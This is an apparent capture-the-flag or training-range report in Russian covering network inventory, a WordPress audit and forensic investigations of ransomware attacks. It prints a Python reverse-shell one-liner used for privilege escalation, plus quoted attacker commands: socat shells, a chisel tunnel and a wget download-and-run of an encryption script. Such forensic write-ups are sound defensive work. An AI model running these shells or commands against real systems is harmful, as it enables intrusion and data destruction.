SHP_Legacy. Итоговый отчет.

https://github.com/LeKSuS-04/SHP_Legacy-NTO-IB-2022

Инвентаризация хостов в сети.

Итоговая таблица с хостами — https://docs.google.com/spreadsheets/d/1Te-sVO8-XK4EdTF308-Wo0M87aBSfwMA8wRlS6GVnMY/edit#gid=0

Просканировав все сегменты сети сканером портов определим версии ПО установленного на конеченых устройствах. С помощью этих данных выделим уязвимые машины, их всего 6:

1. 10.21.2.11 — Уязвим к Drupageddon2(CVE-2018-7600)
2. 10.21.2.12 — Уязвим к Eternalblue(CVE-2017-0144)
3. 10.21.4.8 — Уязвим к Eternalblue(CVE-2017-0144)
4. 10.21.239.5 — Уязвим к Eternalblue(CVE-2017-0144)
5. 10.21.239.6 — Уязвим к Eternalblue(CVE-2017-0144)
6. 10.21.240.14 — Уязвим к Eternalblue(CVE-2017-0144)

Данные машины представляют для нас наибольший интерес, тк будучи уязвимыми, они наверняка подверглись атаки, так что расследование инцидентов разумно начинать с них.

Так же на ip 10.21.1.254 находится IDS Suricata.

Более подробно ознакомится с хостами можно в таблице, указанной выше.

Аудит сайта с WordPress(10.21.2.10).

На данном веб-сайте используются стандартные учетные данные для администраторской учетной записи(admin:admin), вход за которую дает полный контроль над сайтом. Более того, WP имеет функционал загрузки и запуска плагинов, что позволяет прокинуть реверс шелл на саму машину. Достаточно загрузить плагин, который его прокидывает и запустить его. Либо же воспользоваться существующими эксплойтами для метасплойта, например этим: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_admin_shell_upload/

Таким образом мы получаем удаленный доступ к машине за юзера www-data. Изучив окружение, можго заметить, что python запускается от sudo без пароля, что позволяет получить рут доступ к машине. Например с помощью след команды:

```
sudo python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.21.5.12",1234));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

Для закрытия этих уязвимостей необходимо поменять пароль администратора WP на любой надежный. А также поставить пароль на запуск python’a от имени sudo юзера.

Расследование атаки на 10.21.239.6.

С помощью уязвимости eternalblue можно удаленно подключатся к уязвимым хостам, на одном из хостов на ip 10.21.239.6 в папке share находим зашифрованные файлы, в том числе зашифрованный флаг.

При детальном изучении логов powershell'a становится понятно, как именно произвоидлась атака:

1. Злоумышленник проникает в систему через уязвимость eternalblue.
2. Злоумышленник скачивает шифровальщик Ransom.ps1 с ip 10.21.200.50.
3. Шифровальщик использует AES CBC с длинной блока в 128 бит и длиной ключа в 256 бит.
4. При запуске шифровальщика генерируются ключ и iv и отправляются обратно злоумышленнику вместе с именем компьютера на тот же ip.
5. Далее шифруются все файлы .pdf, .txt, .doc, .docx, .jpg.

Найдя в логах нужный запрос, можно узнать iv и ключ, а соответсвенно расшифровать все файлы. Нужный нам запрос:

```
http://10.21.200.50/key=Z2igSNGo+qfqpeHho2EL+Q9bljHZc8GsnJZ9F0MOPPY=&iv=ouzDB5yS8sOQR8gBiQ+hIw==&pc=OIK-CLIENT"
```

Зная ключ и IV с легкостью дешифруем файлы с помощью скрипта decryptor.py

Прочитаем флаг: Gravissimum est imperium consuetudinis.

Расследование атаки на Киберполигон(10.21.2.11).

На данной машине используется drupal7 , уязвимый к CVE-2018-7600(drupageddon2). Данная уязвимость позволяет получить удаленный доступ к машине за юзера www-data.

Подключившись к машине находим в папке /var/www/html зашифрованные php файлы и флаг.

Также обнаруживается исполняемый файл sploit, который является эксплойтом для повышения привилегий до root юзера через уязвимость Dirty Cow(CVE-2016-5195). Данный файл был оставлен злоумышленником.

При изучении файла .bash_history у рут юзера находим следующие строки:

```
setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit
id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit
setsid /var/www/html/chisel client 10.21.200.50:8083 R:socks 2>1 > /dev/null && exit
cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html
setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit
id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit
setsid /var/www/html/chisel client 10.21.200.50:8083 R:socks 2>1 > /dev/null && exit
wget http://10.21.200.50/encr.sh -O /var/www/html/encr.sh;exit
chmod -R 777 /var/www/html;exit
/var/www/html/encr.sh;exit
rm -f /var/www/html/shell.php;exit
rm -f /var/www/html/encr.sh;exit
rm -f /var/www/html/sploit.c;exit
```

А в файле syslog.7 в /var/logs/ находим следующую команду:

```
Mar  5 17:38:33 osan-portal2 tag_audit type=EXECVE msg=audit(1646482548.904:45916): argc=13 a0="openssl" a1="enc"
a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/21FLAG.txt" a7="-out" a8="/var/www/html/21FLAG.txt.encr" a9="-pass"
a10="pass:8735176D7C" a11="-iv" a12="F81D977E1765638912EFD58FA7BC33A5"
```

Таким образом можно восстановить последовательность действий злоумышленника:

1. С помощью CVE-2018-7600(drupageddon2) получает удаленный доступ к машине.
2. Скачивает sploit для повышения привилегий до root через CVE-2016-5195(Dirty Cow) и повышает их.

3. Прокидывает туннель к себе на сервер через утилиту chisel и скачивает файл encr.sh.
4. Шифровальщик encr.sh шифрует файлы, используя утилиту openssl.
5. Удаляет компрометирующие файлы.

Зная IV и ключ дешифруем файлы при помощи команды:

```
openssl aes-256-cbc -d -a -in 21FLAG.txt.encr -out flag.txt -iv F81D977E1765638912EFD58FA7BC33A5 -pass "pass:8735176D7C"
```

Флаг: Ante volare cave, quam procrescant tibi pennae.

Для устранения этих уязвимостей необходимо обновить Drupal и Debian до актуальных версий.